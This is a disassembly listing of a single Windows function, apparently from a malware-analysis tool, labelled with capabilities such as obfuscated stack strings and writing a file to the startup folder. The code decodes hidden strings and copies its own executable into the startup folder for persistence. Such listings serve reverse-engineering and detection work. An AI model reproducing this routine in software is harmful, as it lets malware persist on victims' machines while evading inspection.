Function at 0x14004f740
Capabilities:
Contain obfuscated stackstrings
Copy file
Get common file path
Get startup folder
Write file to startup folder

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x448]
sub rsp, 0x540
mov qword [rbp - 0x58], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov rax, qword [0x140134190]
xor rax, rsp
mov qword [rbp + 0x430], rax
mov r8d, 0x104
lea rdx, [rbp + 0x220]
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 7]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x14004fb82
mov byte [rsp + 0x30], 0
mov byte [rsp + 0x31], 0x61
mov byte [rsp + 0x32], 0x44
mov byte [rsp + 0x33], 0x6d
mov byte [rsp + 0x34], 0x44
mov byte [rsp + 0x35], 0x78
mov byte [rsp + 0x36], 0x44
mov byte [rsp + 0x37], 0x6a
mov byte [rsp + 0x38], 0x44
mov byte [rsp + 0x39], 0xd
mov byte [rsp + 0x3a], 0x44
mov byte [rsp + 0x3b], 0x13
mov byte [rsp + 0x3c], 0x44
mov byte [rsp + 0x3d], 0x2e
mov byte [rsp + 0x3e], 0x44
mov byte [rsp + 0x3f], 0x17
mov byte [rsp + 0x40], 0x44
mov byte [rsp + 0x41], 0x2e
mov byte [rsp + 0x42], 0x44
mov byte [rsp + 0x43], 0x44
mov byte [rsp + 0x44], 0x44
movzx eax, byte [rsp + 0x31]
movzx eax, byte [rsp + 0x30]
xor edi, edi
test al, al
jne 0x14004f881
mov r8d, edi
nop dword [rax + rax]
movzx ecx, byte [rsp + r8 + 0x31]
mov eax, 0x44
sub eax, ecx
imul ecx, eax, 0x2d
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
add ecx, 0x7f
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rsp + r8 + 0x31], cl
inc r8
cmp r8, 0x14
jb 0x14004f830
lea rdx, [rsp + 0x31]
lea rcx, [rbp - 0x50]
call fcn.14002ae80
nop
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x30]
call fcn.140044c50
mov rsi, rax
movdqa xmm0, xmmword [0x140113d20]
movdqu xmmword [rbp - 0x68], xmm0
mov word [rbp - 0x78], di
lea rax, [rbp + 0x10]
mov rdx, 0xffffffffffffffff
nop dword [rax]
inc rdx
cmp word [rax + rdx*2], 0
jne 0x14004f8c0
lea rcx, [rbp - 0x78]
cmp rdx, 7
ja 0x14004f8ef
mov qword [rbp - 0x68], rdx
lea rbx, [rdx + rdx]
mov r8, rbx
lea rdx, [rbp + 0x10]
call fcn.1400a1550
mov word [rbp + rbx - 0x78], di
jmp 0x14004f8f9
lea r9, [rbp + 0x10]
call fcn.14002f7b0
nop
mov r8, qword [rsi + 0x10]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
mov r9, qword [rbp - 0x68]
sub rax, r9
cmp r8, rax
jbe 0x14004f933
mov rax, qword [rsi + 0x18]
sub rax, r8
cmp rax, r9
jb 0x14004f933
lea r8, [rbp - 0x78]
cmp rcx, 8
cmovae r8, qword [rbp - 0x78]
mov rcx, rsi
call fcn.140030980
jmp 0x14004f949
cmp qword [rsi + 0x18], 8
jb 0x14004f93d
mov rsi, qword [rsi]
mov rdx, rsi
lea rcx, [rbp - 0x78]
call fcn.14002cec0
xorps xmm0, xmm0
movdqu xmmword [rbp], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 7
mov word [rax], di
lea rcx, [rbp - 0x78]
call fcn.14002cde0
nop
lea rcx, [rbp - 0x30]
call fcn.14002cde0
nop
lea rcx, [rbp - 0x50]
call fcn.14002cde0
lea rdx, [rbp - 0x10]
cmp qword [rbp + 8], 8
cmovae rdx, qword [rbp - 0x10]
mov r8d, 1
lea rcx, [rbp + 0x220]
call qword [sym.imp.KERNEL32.DLL_CopyFileW]
mov byte [rsp + 0x48], 0
mov byte [rsp + 0x49], 7
mov byte [rsp + 0x4a], 0x3f
mov byte [rsp + 0x4b], 0x73
mov byte [rsp + 0x4c], 0x3f
mov byte [rsp + 0x4d], 0x73
mov byte [rsp + 0x4e], 0x3f
mov byte [rsp + 0x4f], 0x5f
mov byte [rsp + 0x50], 0x3f
mov byte [rsp + 0x51], 0x50
mov byte [rsp + 0x52], 0x3f
mov byte [rsp + 0x53], 0x32
mov byte [rsp + 0x54], 0x3f
mov byte [rsp + 0x55], 0x28
mov byte [rsp + 0x56], 0x3f
mov byte [rsp + 0x57], 8
mov byte [rsp + 0x58], 0x3f
mov byte [rsp + 0x59], 0x50
mov byte [rsp + 0x5a], 0x3f
mov byte [rsp + 0x5b], 0x6e
mov byte [rsp + 0x5c], 0x3f
mov byte [rsp + 0x5d], 0x69
mov byte [rsp + 0x5e], 0x3f
mov byte [rsp + 0x5f], 0x60
mov byte [rsp + 0x60], 0x3f
mov byte [rsp + 0x61], 3
mov byte [rsp + 0x62], 0x3f
mov byte [rsp + 0x63], 8
mov byte [rsp + 0x64], 0x3f
mov byte [rsp + 0x65], 0x28
mov byte [rsp + 0x66], 0x3f
mov byte [rsp + 0x67], 0x7d
mov byte [rsp + 0x68], 0x3f
mov byte [rsp + 0x69], 8
mov byte [rsp + 0x6a], 0x3f
mov byte [rsp + 0x6b], 0xd
mov byte [rsp + 0x6c], 0x3f
mov byte [rsp + 0x6d], 0x73
mov byte [rsp + 0x6e], 0x3f
mov byte [rsp + 0x6f], 0x60
mov byte [rsp + 0x70], 0x3f
mov byte [rsp + 0x71], 0x3c
mov byte [rsp + 0x72], 0x3f
mov byte [rsp + 0x73], 0x69
mov byte [rsp + 0x74], 0x3f
mov byte [rsp + 0x75], 0x28
mov byte [rsp + 0x76], 0x3f
mov byte [rsp + 0x77], 0x2d
mov byte [rsp + 0x78], 0x3f
mov byte [rsp + 0x79], 0x5f
mov byte [rsp + 0x7a], 0x3f
mov byte [rsp + 0x7b], 0x3c
mov byte [rsp + 0x7c], 0x3f
mov byte [rsp + 0x7d], 0x37
mov byte [rsp + 0x7e], 0x3f
mov byte [rsp + 0x7f], 0x27
mov byte [rbp - 0x80], 0x3f
mov byte [rbp - 0x7f], 0x3f
mov byte [rbp - 0x7e], 0x3f
movzx eax, byte [rsp + 0x49]
movzx eax, byte [rsp + 0x48]
test al, al
jne 0x14004fb34
nop
movzx ecx, byte [rsp + rdi + 0x49]
sub ecx, 0x3f
imul r8d, ecx, 0x33
mov eax, 0x81020409
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
add r8d, 0x7f
mov eax, 0x81020409
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov byte [rsp + rdi + 0x49], r8b
inc rdi
cmp rdi, 0x3a
jb 0x14004fae0
mov rbx, qword [0x140146cd8]
mov edi, 1
mov rax, qword gs:[0x58]
add rdi, qword [rax]
cmp byte [rdi], 0
je 0x14004fb66
lea rcx, [rbx + 0x20]
call qword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
mov rcx, rbx
call fcn.140026390
mov byte [rdi], 0
lea rdx, [rsp + 0x49]
call fcn.140031610
mov rcx, rbx
call fcn.140026320
nop
lea rcx, [rbp - 0x10]
call fcn.14002cde0
mov rcx, qword [rbp + 0x430]
xor rcx, rsp
call fcn.14007c490
lea r11, [rsp + 0x540]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret